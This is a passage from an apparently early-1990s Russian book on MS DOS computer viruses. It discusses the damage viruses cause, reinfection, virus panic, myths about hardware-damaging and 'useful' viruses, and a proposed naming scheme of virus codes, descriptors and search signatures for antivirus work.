  5) инициирование ошибок  или сбоев  в программе или операционной
системе (например, переполнение стека), перезагрузка или зависание
MS DOS;
  6) блокирование доступа  к системным ресурсам (разрастание зара-
женных файлов  за счет  их многократного повторного заражения, не-
возможность передать  зараженной программе  параметры,  замедление
работы компьютера  путем выполнения  холостого цикла из нескольких
команд при каждом прерывании таймера);
  7) имитация сбоев аппаратуры (перевод части кластеров в "псевдо-
сбойные" на  дискете или винчестере, зависание ЭВМ через некоторое
время после перезагрузки операционной системы и т.д.);
  8) ускорение износа оборудования или попытки его порчи.
  Наносимый вирусами  ущерб может  иметь катастрофический характер
(например, уничтожение винчестера) в сочетании с длительным "инку-
бационным периодом"  или, наоборот,  вирус может  наносить мелкие,
трудно обнаруживаемые  повреждения данных,  выполняемые достаточно
часто. Последние  гораздо труднее  обнаружить и поэтому, в отличие
от распространенного  мнения, они  намного опаснее  массированного
разрушения данных.
  Наиболее уязвимой частью файловой системы DOS является FAT (таб-
лица размещения  файлов). Если FAT разрушен, то DOS не в состоянии
определить местонахождение  того или  иного файла, хотя сами файлы
не повреждены.  Вирус может также выполнять форматизацию некоторых
участков диска,  содержащих системные  данные. Поэтому  необходимо
достаточно часто  дублировать управляющие  данные файловой системы
на другой,  заранее известный  участок диска или дискету. Для этой
цели, в  частности, можно  использовать Norton  Utilities, а также
Mirror из пакета PC Shell.
  На компьютерах  типа АТ данные о конфигурации системы (тип уста-
новленного винчестера  и др.) хранятся в небольшой энергонезависи-
мой памяти  (CMOS). Уничтожение содержимого CMOS-памяти приводит к
невозможности загрузиться с винчестера. Восстановление CMOS требу-
ет знания  подробных технических данных о винчестере. Поэтому этот
тип памяти также является потенциальным объектом атаки вируса.
  Как уже  отмечалось, наиболее опасны как раз не катастрофические
повреждения винчестера  или дискет  (при адекватном  архивировании
это означает  максимум потерю  одного дня работы), а мелкие, неза-
метные изменения файлов данных. В частности, известен вирус, кото-
рый ищет файлы типа DBF, и найдя внутри файла числовое поле, меня-
ет местами две рядом стоящие цифры.
  По степени  разрушительности вирусы  можно условно  разделить на
два типа:  "иллюзионисты" (RC-1701,  RCE-1805, RСE-2885, Bx1-1C) и
"вандалы" (C-648,  RСE-1800, Dx3-E9, RC-496). Основным приоритетом
при конструировании  "иллюзионистов" является демонстрация какого-
нибудь экзотического  звукового (например,  вирусы RCE-1805,  RCE-
2885) или визуального эффекта типа бегающего шарика (например, ви-
рус Bx1-1C),  осыпающихся букв  (вирус RC-1701)  и т.д. В качестве
основного приоритета пpи констpуиpовании "вандалов" является обес-
печение как  можно более  скрытого размножения,  с тем  чтобы фазе
разрушения (детонации), уничтожающей и зараженный файл (дискету) с
данным экземпляром  вируса (при разрушении таблицы FAT, форматиза-

ции и других подобных действиях), предшествовало определенное чис-
ло незамеченных размножений.
  При этом  наблюдается интересная взаимосвязь, на которую обратил
внимание автора Л.И.Обухов: если вирус демонстрирует нетривиальный
визуальный или  звуковой эффект,  то скорее  всего он не выполняет
массированного разрушения  данных. Поэтому, если неизвестный вирус
демонстрирует какой-то  изощренный эффект,  то повышаются шансы на
то, что он не выполняет массированных разрушений файловой системы.
Психологически, примитивный  вандализм типа  разрушения файлов или
форматирования диска, наверное, в большей степени присущ примитив-
ным личностям, страдающим комплексом неполноценности, но неспособ-
ным на  конструктивную деятельность. Ведь давно замечено, что "ло-
мать у не  строить": хотя  написание вируса  в современных условия
нельзя называть  конструктивной деятельностью,  все же  встроить в
вирус программу  разрушения FAT  значительно проще,  чем программу
падения букв на экране дисплея.

                    2.10. Повторное заражение

                           "Сожрали с аппетитом ядовитый порошок  
                            Четыре неразлучных таракана и сверчок"
                                    Из популярной песни 60-х годов

  Компьютерные вирусы  "бессмертны" и  могут неограниченное  время
храниться в различного рода архивах. Даже "полностью уничтоженные"
вирусы могут  сохраниться в каком-нибудь архивном файле и случайно
или умышленно  "реанимироваться" через  много месяцев или даже лет
после их  первоначального обнаружения и уничтожения. Из этого сле-
дует важный вывод, что после первого обнаружения и уничтожения ви-
руса следует ожидать повторных заражений. Таким образом, после по-
явления определенного  вируса необходимы специальные меры по пред-
отвращению повторных  заражений. Здесь  можно двигаться в двух на-
правлениях: во-первых,  постараться найти первоисточник заражения,
и во-вторых,  разработать или  установить программы,  затрудняющие
(сторожа) или  делающие невозможным  (вакцины) размножение вируса.
Опасность повторного  заражения особенно  велика, если дезинфекция
проведена наспех,  без тщательной проверки всего объема используе-
мых программ и имеющихся архивов, а также если доступ к компьютеру
имеют случайные  или неквалифицированные пользователи. Как уже от-
мечалось выше,  особую опасность  в этом смысле представляют собой
любители компьютерных игр.

           2.11. Вирусофобия и попытки ее эксплуатации

                                        "Трусоват был Ваня бедный"
                                                        А.С.Пушкин

  Следует отметить,  что в  ряде организаций само появление нового
вируса вызывает  панику, парализуя  работу на  несколько дней. При
отсутствии специалистов  в процессе  борьбы с попавшим вирусом за-
частую выполняется огромный объем ненужной работы, например, пере-
форматирование винчестера. В процессе выгрузки и загрузки информа-
ции пользователи сами могут в спешке уничтожить важную информацию.
  Поскольку в  таких организациях  руководство обычно  слабо пред-
ставляет себе принципы действия и эффекты, вызываемые этим классом
программ, у  программистов появляется возможность использовать ви-
русы как "отходной вариант" для объяснения каких-то трудностей или
причин срыва  сроков. Варианты  объяснений могут  варьироваться от

самых примитивных  ("Я все  сделал(а), а  потом пришел вирус и все
уничтожил"), до вполне квалифицированных.
  Далеко не  все повреждения  файловой системы,  отказы винчестера
или оборудования  вызываются вирусами.  Например,  некоторые  типы
винчестеров имеют  довольно низкую надежность и "сыпятся" без вся-
кого вмешательства  вирусов. Имеются  компьютеры, которые    можно
загрузить, только  дав им  прогреться в  течении получаса.  Автору
приходилось работать  на дефектном  венгерском дисководе  ПЭВМ  ЕС
1840, который не только фрезеровал дискеты, но и при записи иногда
стирал FAT.  Причем восстановить поврежденный FAT при помощи изве-
стной утилиты  Norton Disk  Doctor не удавалось. Общеизвестно, что
многие отечественные компьютеры и без всяких вирусов регулярно за-
висают.
  В то же время имеется тенденция атрибутировать любое повреждение
данных присутствием  вируса. Это  по сути  один из вариантов мании
("вирусомания"), которая  подобно печально  известной  шпиономании
("шпионы под  каждой  кроватью")  имеет  социально-психологическую
этиологию. Первыми  пользу из  "вирусомании"  научились  извлекать
электронщики: если компьютер барахлит, а им лень разбираться, то в
ход пускается неотразимый аргумент: "Это у вас какой-то вирус".

           2.12. О возможности повреждения оборудования

                      компьютерными вирусами
                                          "То тарелками пугают..."
                                                        В.Высоцкий

  Одним из проявлений вирусофобии следует считать слухи о вирусах,
повреждающих оборудование. Вопрос о возможности повреждения обору-
дования автору  задавали практически на каждой прочитанной им лек-
ции. Дейcтвительно,  хотя большинство повреждений, наносимых виру-
сом, относятся  к данным, возможны также повреждения оборудования.
Например, можно  повредить участок  люминофора ("выжечь пятно") на
монохроматическом мониторе,  используя особенности  схемы управле-
ния. Однако  для цветного  монитора это  сделать невозможно. Ходят
упорные слухи  о каких-то коварных вирусах, якобы вводящих в резо-
нанс головки  винчестера. К  сожалению эти  слухи  проникают  и  в
"околовирусные" публикации [Основский90].
   Такая  мифотворческая тенденция наверно возникает в связи с лю-
бым малоизученным  и потенциально опасным явлением. Следует учиты-
вать также  благоприятный для  такого рода  слухов социальный фон:
сейчас в  обществе оживился интерес ко всякого рода магии и "чудо-
творцам". Некоторые  из них  ухитряются даже  заговаривать воду по
телевизору. По  сравнению с водой, заговоренной по телевизору, ви-
рус, прожигающий  дыру в  экране или  даже в  клавиатуре, выглядит
предельно правдоподобно. Более того, автор не видит причин, почему
многие из классических русских сказок нельзя было бы "модернизиро-
вать", сделав  одним из персонажей злой компьютерный вирус и соот-
ветствующим образом приспособив сюжетную канву. Со временем, когда
компьютеры появятся  во многих семьях, такие сказки, возможно, бу-
дут интереснее  ребенку, чем  традиционные варианты  с Бабой Ягой,
Кощеем Бессмертным и добрым молодцем.

                 2.13. Легенды о полезных вирусах

                                       "Как часто мы промахиваемся
                                        еще при выборе цели!"     

                                                     Виктор Власов

  Идея о том, что "подобное излечивается подобным", распространен-
ная среди  средневековых знахарей, периодически реанимируется при-
менительно к  компьютерным вирусам. Она принимает несколько основ-
ных форм, которые мы разберем последовательно.
  Первой по  распространенности является идея создания "вируса-за-
щитника" у вирусоподобной  программы защиты. Следует отметить, что
эта идея использования для борьбы c вирусом другого вируса носится
в воздухе с момента появления первых вирусов, т.е. примерно с 1984
года (см.  главу 1).  Исторически, первые  фаги создавались именно
как вирусы,  охотящиеся на  тот или иной вирус. Ничего хорошего из
этого не  получилось. Опыт  показал, что  распространение  вируса-
охотника существенно медленнее, чем вируса, за которым охотятся, и
эффективность такой погони невелика.
  Эта идея  весьма неудачна  и в других своих модификациях. Напри-
мер, часто  предлагается вариант  "вируса-контролера", который при
заражении программы  подсчитывает и запоминает ее контрольную сум-
му. Тогда  при запуске  зараженной программы  вирус подсчитывал бы
контрольную сумму  файла, из  которого она  была  считана,  и  при
несовпадении сигнализировал  бы о заражении. Вообще говоря, отсут-
ствие подобной  проверки у это  серьезный дефект MS DOS, и исправ-
лять его  стоит именно  на уровне операционной системы. Однако то-
тальное заражение  "вирусом-контролером" неизбежно  ведет к потере
работоспособности части  программ. Кроме того, заражение всех про-
грамм таким "контролирующим" вирусом неизбежно приведет к увеличе-
нию размеров программ, причем заметному, поскольку каждой исполня-
емой программе  придется сделать  прививку. Если на диске 20M хра-
нится, скажем,  1000 программ  и размер  прививки составляет  1024
байта, то  получается, что  в среднем  теряется мегабайт дискового
пространства. Реально, учитывая квантование дискового пространства
по кластерам,  эти потери могут оказаться и больше, в особенности,
если на диске записано много программ, близких к размеру кластера.
Кроме того,  процесс поиска очередной "жертвы" не так прост, и бу-
дет занимать некоторое время, замедляя загрузку программы. Поэтому
закрывать эту "дыру" предпочтительнее с помощью маленькой резиден-
тной программы,  перехватывающей прерывание 21-4B. Возможно, пере-
хват следует  выполнить сплайсингом,  т.е. врезкой  команды JMP  в
оригинальный обработчик  этой команды  с тем, чтобы исключить воз-
можность того,  что вирус предварительно перехватит 21 прерывание.
Кстати, перехватить 21 прерывание вирусу можно просто не дать, как
бы он  не старался  (на этой идее основаны сторожа CHECK21 и SBM у
см. прил.5).  Получив управление,  эта "заплатка" должна проверять
контрольную сумму.  Для  COM-файлов  достаточно  проверить  первый
блок, а  для EXE-файлов у заголовок и блок, куда передается управ-
ление. При  этом для  COM-файлов контрольную сумму можно хранить в
неиспользуемых байтах  оглавления, а  для EXE у  в соответствующем
поле заголовка. Метод подсчета контрольной суммы должен быть пара-
метризуемым. Кстати,  аналогичным способом  можно  закрыть  другую
"дыру" в MS DOS, связанную с тем, что снятие атрибута READ ONLY не
требует подтверждения оператора. При этом можно предусмотреть воз-
можность отключения выдачи запроса с помощью специального, задава-
емого пользователем, пароля.
  Другой идеей, связанной с поисками "полезных" применений компью-
терных вирусов, является автоматическое преобразование программы в
какую-то более приемлемую форму. Наиболее часто при этом предлага-
ется автоматическое  сжатие программы.  Действительно, имеется ряд
программ, выполняющих  сжатие EXE-файлов,  наиболее удачной  среди
которых является LZEXE, которая обеспечивает экономию  порядка 30%
на каждом EXE-файле при очень высокой скорости распаковки (практи-
чески не  увеличивая время загрузки). Идее применить для этой цели
вирус уже  более 15 лет и она высказывалась еще Ф.Коэном для обос-
нования своих  работ. Теоретически здесь вроде бы "все чисто". Ви-
рус, заражая  программы, свертывает их с помощью какого-то метода,
а при запуске развертывает. Однако с практической точки зрения эта
идея не  выдерживает никакой критики. Дело в том, что включаемый в
сжатые программы  распаковщик должен  иметь минимальную длину (600
байтов для  LZEXE), что в случае вируса обеспечить невозможно. Бо-
лее правильным  подходом к  реализации идеи  сжатия информации  на
диске, если уж добиваться  "тотального" ее осуществления, является
написание специального  дискового драйвера,  который во-первых, не
включается в сжатую программу, а во-вторых, может сжимать не толь-
ко исполняемые файлы, а и все файлы, помеченные определенным атри-
бутом. Кстати,  такие драйверы были реализованы и успешно применя-
ются. Однако  широкое их  распространение сдерживает тот факт, что
достигаемый эффект  составляет порядка 20%, т.е. невелик и не ком-
пенсирует все  возникающие при  этом сложности  и неудобства. Есть
все основания  предполагать, что  для "вируса сжатия" общий эффект
будет отрицательным,  поскольку на  каждой программе  вирус должен
экономить не  менее 12-16К  (размер одного  кластера, скажем, 4К +
собственный размер вируса, который для этого довольно сложного ви-
руса вряд  ли составит  меньше 8К), что для программ, меньших 64K,
т.е. для  всех COM-файлов, практически нереально. Кроме того, если
не прибегать  к каким-то  ухищрениям, то вирусу придется хранить в
сжатой программе и достаточно объемную программу упаковки, которая
там совершенно  не нужна,  но которую  нельзя выкинуть, т.к. иначе
вирус теряет  способность к  размножению. Ну  и наконец, поскольку
часть программ  при сжатии теряет работоспособность, то неясно как
предохранить такие программы от заражения.
  Конечно, не  исключены и  какие-то другие  возможные  приложения
"полезного" вируса,  однако такая форма коммуникации программ дол-
жна учитываться  уже при разработке операционной системы, а экспе-
риментирование должно быть ограничено лабораторными экспериментами
на новых  операционных системах.   Возможно,  что "вирусоподобные"
программы окажутся  полезными в каких-то узких областях системного
программирования. Нельзя бросаться  в "запретительство" только по-
тому, что  в MS   DOS   вирусы создают серьезные проблемы. В то же
время автор  убежден, что безвредных вирусов для MS DOS, как и для
любой операционной  системы, ориентированной на широкий круг поль-
зователей, принципиально  не существует.  По определению,  процесс
размножения вируса  неконтролируем (иначе  это, строго  говоря, не
вирус). Если  операционная система широко используется, то она не-
избежно будет "мигрировать" с одного компьютера на другой, попадая
туда, где ее совсем не ждали. А возникающая в ряде организаций при
обнаружении нового  вируса паника  зачастую наносит больший ущерб,
чем сам  вирус, парализуя работу на несколько дней. Как бы ни была
прививка тщательно написанной, неизбежно окажется, что она вызыва-
ет потерю  работоспособности части программ, какие-то тонкие взаи-
модействия с  другими резидентными программами. В общем, пользова-
телей ожидают  приключения. А  ведь лекарство не должно быть опас-
нее, чем болезнь.
  Принципиальной проблемой любой реализации "полезного" вируса яв-
ляется его переносимость. В силу своей природы вирусы сильно зави-
сят от версии операционной системы у значительно больше, чем обыч-
ные программы. Опыт показал, если зараженная вирусом программа ра-
ботоспособна в версии 3.3, то это совсем не означает, что она ока-
жется работоспособной  в версии  4.0  или  даже  в  версии  3.3  с
нестандартным командным  процессором. В особенности плохо дело об-
стоит с  резидентными программами,  которые часто  после заражения
теряют работоспособность. А ведь развитие операционной системы мо-
жет продолжаться  десятилетиями. Получается, что при получении но-
вой версии операционной системы все программы нужно срочно лечить,
затем доставать новый штамм и заражать повторно. В общем, вопросов
здесь явно больше, чем ответов.
  И, наконец,  последний аргумент в пользу ограничения эксперимен-
тов по  созданию "полезных" вирусов специализированными операцион-
ными системами  связан с тем, что  по определению "полезный" вирус
будет распространяться  свободно. Тем самым, доступность механизма
размножения (центральной  части любого  вируса),  делает его обще-
доступной базой для совсем небезобидных экспериментов.  В частнос-
ти, он  легко может быть модифицирован злоумышленником в троянскую
программу, которая, скажем, защищая от некоторых вирусов, сама пе-
риодически стирает FAT.
  Накопленный автором  опыт изучения вирусов позволяет сделать вы-
вод о том, что в существующих вариантах любой вирус является опас-
ной программой,  неизбежно вызывающей  побочные эффекты. Последние
связаны либо с повреждением заражаемых программ, либо с нарушением
функционирования операционной  системы. Если  сравнивать переноси-
мость вирусов с переносимостью резидентных программ, то обычно ви-
русы в большей степени зависят от версии операционной системы. При
размножении в  среде отличной  от "естественной"  (например, более
поздняя версия  операционной системы  или нестандартный  командный
процессор) вирусы,  как правило,  вызывают дополнительные побочные
эффекты вплоть  до зависания операционной системы. Учитывая выска-
занные доводы  трудно не  прийти к  мнению о том, что "безвредных"
вирусов не  существует, а  эксперименты по  их созданию для MS DOS
связаны со значительным  риском "выпустить джинна из бутылки".

              3. КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ

                      "Я никаким насекомым не радуюсь,            
                       потому что я их боюсь,у призналась Алиса. у
                       т Но я могу вам сказать, как их зовут."    
                      "А они, конечно, идут, когда их зовут?"     
                       у небрежно заметил Комар.                  
                      "Нет, кажется, не идут."                    
                      "Тогда зачем же их звать, если они не идут?"
                      "Им это ни к чему, а нам все-таки нужно.    
                     Иначе зачем вообще знать, как что называется"
                                                      Льюис Керрол

  Cерьезность и долговременный характер проблемы защиты от компью-
терных вирусов уже практически ни у кого не вызывают сомнений. По-
этому необходимо  организовать оперативный  обмен  информацией  по
данной проблеме  и наладить взаимодействие работающих в этой обла-
сти специалистов. Это, в свою очередь, требует решения ряда подза-
дач, одной из которых является выработка стандартной классификации
компьютерных вирусов.
  Стандартная классификация  существенно  облегчает  накопление  и
распространение знаний  в любой  области, и компьютерные вирусы не
являются исключением. Применительно к компьютерной вирусологии она
помогает решению  такой важной задачи, как однозначное определение
типа обнаруженного  вируса. При этом должен использоваться ограни-
ченный набор сравнительно простых и непротиворечивых признаков, не
требующих проведения  глубокого анализа зараженных программ и эле-
ментов операционной  системы. Существующие в настоящее время клас-
сификации, как  правило, основаны  на "кличках" у распространенных
среди программистов названиях, отражающих то или иное свойство ви-
руса. Анализируя  имеющиеся неформальные  названия, можно  выявить
четыре основные  тенденции их образования. Первая основана на ука-
зании места  обнаружения или разработки вируса (Lehigh, Jerusalem,
Vienna, Alameda), вторая у на содержащихся в теле вируса текстовых
строках (Vacsina,  Eddie, Dark  Avenger,  Disk  Killer,  sUMsDos),
третья у  на   вызываемом  вирусом  эффекте  (Time  Bomb,  DOS-62,
Cascade, Black Fridaу) и наконец, четвертая у на длине тела вируса
или на  приращении длины файла при заражении (524, 648, 1800, 2000
и т.д.).  При этом  один и  тот же  вирус  может  иметь  множество
названий, и  новое название,  использованное разработчиком той или
иной антивирусной программы, далеко не всегда соответствует новому
вирусу.
  Для широко известных вирусов перечень названий напоминает список
имен арабского шейха. Например, автор встречал более десяти назва-
ний вируса, обнаруженного в декабре 1987 года в Иерусалимском уни-
верситете (RСE-1813 по предлагаемой ниже классификации), среди ко-
торых три:  Israeli virus  (Израильский), Jerusalem  (Иерусалим) и
PLO (ООП) у  относятся к  первому типу,  два названия  (sUMsDos  и
sU) у ко  второму типу, и, наконец, еще четыре: Black Hole (Черная
дыра), Black  Friday (Черная пятница), Friday 13 (Тринадцатая пят-
ница) и  Вирус замедления у к третьему типу (данный вирус "выреза-
ет" в левом углу экрана черную дыру, удаляет все запускаемые файлы
по пятницам, пришедшимся на 13 число и, кроме того, примерно через
20 мин.  после запуска зараженной программы искусственно замедляет
работу компьютера в несколько сотен раз).
  Конечно же, такое многообразие названий создает определенные за-
труднения, особенно  если учитывать,  что данный  вирус имеет  не-
сколько отличающихся  по деталям функционирования штаммов. Поэтому
необходим какой-то  выход из создавшейся ситуации. На определенном
этапе среди разработчиков антивирусных средств наблюдалась стихий-
ная тенденция к использованию в качестве основных названий, приме-
няемых известным  зарубежным  полидетектором  SCAN  (фирма  McAfee
Associates, США);  однако он, естественно, запаздывает с классифи-
кацией болгарских  вирусов, не говоря уже о вирусах отечественного
изготовления. Поэтому  набор обнаруживаемых им вирусов не соответ-
ствует советским  условиям, а используемые строки для контекстного
поиска (сигнатуры)  часто неудачны  (например, дают  много  ложных
срабатываний). При этом для ранних версий SCAN неоднократно наблю-
дались случаи,  когда наиболее  актуальные для  нас  вирусы  могут
классифицироваться неверно  (как это  было  с  подгруппой  Vacsine
группы ТР-вирусов)  или попадали  в две  группы  сразу  (например,
Vacsine и  Yankee Doodle).  В последнем  случае создавалось ложное
впечатление о  том, что  файл заражен  двумя вирусами сразу. Кроме
того,  недавно  появился  другой  достаточно  мощный  полидетектор
TNTVIRUS (фирма  CARMEL Software  Engineering), в  котором в  ряде
случаев используются другие названия. Не исключено, что будет тре-
тий, четвертый  и т.д. Поэтому необходим какой-то менее субъектив-
ный и  учитывающий нашу информационную изолированность (отсутствие
сетей, слабое развитие и низкое качество телефонной связи) подход.

              3.1. Принцип построения классификации

  По мнению  автора, основным  требованием к  приемлемой для  всех
классификации является ее объективность, т.е. классификация должна
основываться на  фиксированном наборе  непротиворечиво  измеряемых
или наблюдаемых  признаков. В идеальном случае эти признаки должны
быть выбраны  так, чтобы,  скажем, два  разработчика  антивирусных
средств, независимо работающих в Киеве и Москве, использовали одно
и то же название для одинаковых вирусов и разные названия для раз-
ных вирусов.  Это обеспечивало  бы быстрое выявление новых штаммов
вирусов и  новых, еще  не исследованных, разновидностей. Очевидно,
что объективная  классификация существенно  облегчает систематиза-
цию, распространение  и накопление знаний, а также выбор программ-
ных средств для борьбы с тем или иным вирусом.
  Однако важно  не только  наличие классификации  как таковой, а и
принятие ее в качестве стандартной. Уже сейчас отсутствие стандар-
тной классификации приводит к ряду нежелательных эффектов. Во-пер-
вых, у  разработчиков наблюдается тенденция по-своему называть об-
наруженный или  сравнительно малораспространенный вирус, а в даль-
нейшем продолжать  использовать собственное  название (см., напри-
мер, документацию к полифагу Aidstest Д.Н.Лозинского). В результа-
те получается, что каждый разработчик антивирусных средств исполь-
зует в определенной степени свою уникальную классификацию. Поэтому
для пользователей,  столкнувшихся с  вирусом, необнаруживаемым тем
или иным детектором или полифагом, часто неясно, относится ли он к
какой-то разновидности  (один основной тип вируса обычно представ-
лен рядом  штаммов со  сходными, но не идентичными свойствами) уже
известного вируса,  что дает  возможность в  значительной  степени
предсказать его  свойства, или это совершенно новый, еще не иссле-
дованный, вирус. Во-вторых, у самих пользователей наблюдается тен-
денция аппроксимировать общее количество вирусов общим количеством
названий, используемых  в имеющемся  у них наборе средств защиты и
прежде всего  программ-фагов (т.е.  программ, "выкусывающих"  тело
вируса из  зараженной программы, там самым восстанавливая ее в ра-
ботоспособном и  близком к  первоначальному состоянии). Такая апп-
роксимация приводит  к существенной  переоценке общего  количества
имеющихся компьютерных  вирусов, однако человек быстро "рационали-
зирует" этот  факт путем  разбиения одного реального вируса на не-
сколько "виртуальных",  приписывая каждому  свой набор  признаков.
Так, автору  приходилось сталкиваться  с "самодельной" классифика-
цией, в которую вирусы С-648 и RСE-1813 входили в двух "ипостасях"
каждый, причем  второй ипостаси  вируса С-648  приписывались черты
вируса RСE-1813 (замедление работы компьютера).
  В процессе  чтения лекций  и проведения семинаров по данной про-
блеме автором  была выработана схема классификации, включающая три
основных элемента:  код вируса (несколько напоминающий схему клас-
сификации транзисторов); дескриптор вируса (формализованный список
основных свойств);  сигнатуру вируса  (строка для контекстного по-
иска данного вируса в зараженной программе).
  Классификационный код вируса. В предлагаемой схеме каждому виру-
су  присваивается   код,   состоящий   из   буквенного   префикса,
количественной характеристики и факультативного буквенного суффик-
са. Например,  в коде  RCE-1813c RСE у префикс, 1813 у корень (ха-
рактеристика), а c у суффикс.
  Главным требованием  к классификационному  коду вируса  является
возможность определения большинства входящих в него свойств на не-
зараженном компьютере.  Выполнение каких-либо действий по исследо-
ванию вируса  на зараженном компьютере является наиболее распрост-
раненной и одновременно наиболее грубой ошибкой, которую допускают
неопытные пользователи. Следует подчеркнуть, что любые действия на
компьютере, зараженном неизвестным вирусом, сопряжены с определен-
ным риском вызвать срабатывание троянской компоненты вируса. Кроме
того, резидентный вирус с целью маскировки может перехватывать за-
просы и  искажать выдаваемую  информацию. В настоящий момент изве-
стен ряд вирусов, обладающих указанным свойством. Например, группа
файловых вирусов,  известная под  названием TP-вирусов,  начиная с
вируса TP-34  (члены этой  группы имеют номера, хранящиеся в пред-
последнем байте вируса в 16-ричном виде) обладает интересным свой-
ством: при  попытке трассировать  зараженную программу резидентный
вирус выполняет  "выкусывание" вируса  из программы,  "подсовывая"
отладчику уже  излеченную программу.  Аналогично  бутовые  вирусы,
входящие в  группу пакистанских  (Brain, Ashar),  при попытке про-
смотреть бутсектор  на зараженном компьютере "подсовывают" пользо-
вателю оригинальный бутсектор, сохраненный вирусом в одном из сек-
торов, помеченных как дефектный (и, тем самым, исключенным из рас-
пределения под файлы).
  Префикс характеризует место расположения головы вируса и состоит
из букв и цифр, начинаясь с прописной буквы. В соответствии с этим
будем различать следующие типы вирусов (будем рассматривать только
реально существующие типы, а не все принципиально возможные):
  1) файловые  (голова вируса  располагается в  COM-, EXE-файлах и
оверлеях у символы С, Е в префиксе. При этом дополнительную букву,
отражающую заражение  оверлеев в  префикс вводить  не будем, чтобы
избежать его переусложнения, а вынесем в дескриптор);
  2) бутовые (голова  вируса располагается  в бутсекторе или блоке
MBR у символы B,D или M в префиксе);
  3) пакетные (голова  вируса расположена  в пакетном  файле, т.е.
представляет собой  строку или программу на языке управления зада-
ниями операционной системы у префикс J). Отметим, что наряду с чи-
стыми вирусами, использующими одну среду, в настоящее время появи-
лись гибридные у сочетающие свойства файловых и бутовых вирусов.
  Характеристика вируса  представляет собой количественно измеряе-
мое свойство вируса, допускающее простое определение и отличающее-
ся для большинства типов вирусов. Например, для файловых вирусов в
качестве характеристики  может использоваться  величина приращения
длины файлов  при заражении, хотя здесь имеются определенные труд-
ности.
  Суффикс используется, когда два разных вируса или два штамма од-
ного и того же вируса имеют одинаковый префикс и характеристику. В
этом случае  для того,  чтобы получить  уникальные коды, будем ис-
пользовать в  качестве суффикса  латинскую букву. Например, в коде
RС-1704f буква f означает "штамм-f".
  Дескриптор вируса. Конечно, предложенный код вируса не охватыва-
ет, да  и не  может охватывать  основные свойства  вируса. В то же
время систематизация свойств вирусов представляет значительный ин-
терес как  для разработчиков антивирусных программ, так и их поль-
зователей, поскольку  позволяет интегрировать  разнородные  факты,
относящиеся к поведению того или иного вируса в систему, тем самым
облегчая их  запоминание и сопоставление. Поэтому автором  в каче-
стве второго  элемента классификации  предлагается так  называемый
дескриптор.
  Дескриптор представляет собой систематизацию основных характери-
стик вируса в закодированном виде. Кодировка состоит из групп сим-
волов, начинающихся с заглавной латинской буквы, за которой следу-
ют строчные  латинские буквы  или цифры. При этом заглавная латин-
ская буква  определяет вид  характеристики, а следующие за ней ма-
ленькие буквы  или цифры у значение характеристики для конкретного
вируса. Например,  в дескрипторе "Хab Yc Zdmt" имеются три свойст-
ва:  Х  у со значением "аb", Y у со значением "c", и Z у со значе-
нием "dmt".
  Сигнатура вируса.  Поскольку подавляющее большинство известных в
настоящее время вирусов допускают детектирование с помощью контек-
стного поиска,  одной из  важных задач  классификации является со-
ставление списка  строк для контекстного поиска (сигнатур). Знание
сигнатур позволяет  проверять поступающее  программное обеспечение
на их  наличие, тем самым существенно повышая степень защищенности
ЭВМ. Стандартизация  сигнатур особенно  важна, когда  вирус  имеет
много штаммов, поскольку формальные схемы, подобные описанным выше
классификационному коду  и дескриптору,  обладают тем недостатком,
что некоторые  штаммы будут  неразличимы в  заданном  пространстве
признаков. В  то же  время сравнительно  легко обеспечить уникаль-
ность сигнатуры,  по крайней  мере вирусов, известных в СССР, хотя
возможно создание  вируса не имеющего ни одной сигнатуры, т.е. ко-
торый нельзя найти с помощью контекстного поиска.
  Хотя в  дальнейшем в  качестве сигнатур используются только тек-
стовые строки, для них применимы и регулярные выражения. Последние
существенно устойчивее  к некоторым  мутациям и,  кроме того,  при
меньшей длине  обеспечивают лучшее качество распознавания (меньшее
количество ложных  срабатываний). Все это делает их предпочтитель-
нее простых  текстовых строк. Версию приводимых ниже таблиц с сиг-
натурами из  регулярных выражений  автор надеется опубликовать не-
сколько позднее.
  Очевидно, что  сигнатура, соответствующая  участку,  содержащему
команды, надежнее сигнатуры участка, содержащего данные, например,
текстовые строки  (последние могут  быть модифицированы).  Поэтому
выбор сигнатуры  целесообразно выполнять  на основе анализа дизас-
семблированного кода  вируса. Длина сигнатуры не должна быть слиш-
ком большой,  поскольку длинную сигнатуру труднее правильно набить
вручную. В то же время при недостаточной длине или выборе нехарак-
терных участков  кода сигнатура будет вызывать много ложных сраба-
тываний, что  весьма нежелательно.  Правильная сигнатура не должна
содержаться ни  в одной из наиболее распространенных в MS DOS сис-
темных программ,  включая, конечно,  сами компоненты MS DOS. Таким
образом, для выбора отвечающей указанным требованиям сигнатуры не-
обходим ряд экспериментов, а сами сигнатуры могут являться предме-
том сравнения и анализа.
  В настоящее  время имеется ряд программ, обеспечивающих детекти-
рование вирусов  путем поиска в файлах соответствующих строк и ис-
пользуемые в  них сигнатуры  естественно "принять за основу". Наи-
большую ценность представляют строки, используемые в известном за-
рубежном детекторе  SCAN фирмы  McAfee Associates (США), поскольку
новые версии  этого детектора  появляются регулярно  и  охватывают
практически все  вирусы, появляющиеся за рубежом.  Из других зару-
бежных детекторов  следует отметить  VIRSCAN фирмы  IBM и TNTVIRUS
фирмы CARMEL (Израиль). Для определенности назовем строку, исполь-
зуемую SCAN,  М-сигнатурой, строку, используемую VIRSCAN, у I-сиг-
натурой, а  строку, используемую TNTVIRUS, у С-сигнатурой. В то же
время необходимо отметить, что сигнатуры для ряда вирусов, распро-
страняющихся в  нашей стране,  таких как RCE-1600 (Voronez у Воро-
неж), C-1024  (Bebe у Бебе) и др. в существующих версиях этих про-
грамм отсутствуют,  а сигнатуры  для болгарских вирусов часто неу-
дачны. В  таких случаях  в статье  используются выбранные  автором
сигнатуры, которые обозначены буквой B (B-сигнатуры) или так назы-
ваемые J-сигнатуры.  Последние представляют  собой начальные байты
кода вируса  (т.е. первые  исполняемые команды  тела вируса). Опыт
показывает, что  они достаточно специфичны и в большинстве случаев
позволяют отличать  один вирус  от другого.  При этом для файловых
вирусов, дописывающих  свое тело в конец файла, будем считать, что
J-сигнатура начинается с байта, на который передает управление ко-
манда JMP. Кроме того, в теле некоторых вирусов встречаются харак-
терные текстовые строки. Такие строки будем называть T-сигнатурами
и использовать как вспомогательные.
  Следует отметить,  что контекстный поиск может использоваться не
только для  поиска зараженных  вирусом программ,  но и  для поиска
программ и  файлов, уничтоженных  или поврежденных вирусом. Напри-
мер, вирус С-648 при определенных значениях таймера вместо зараже-
ния программы  уничтожает ее,  записывая в первые 5 байтов строку,
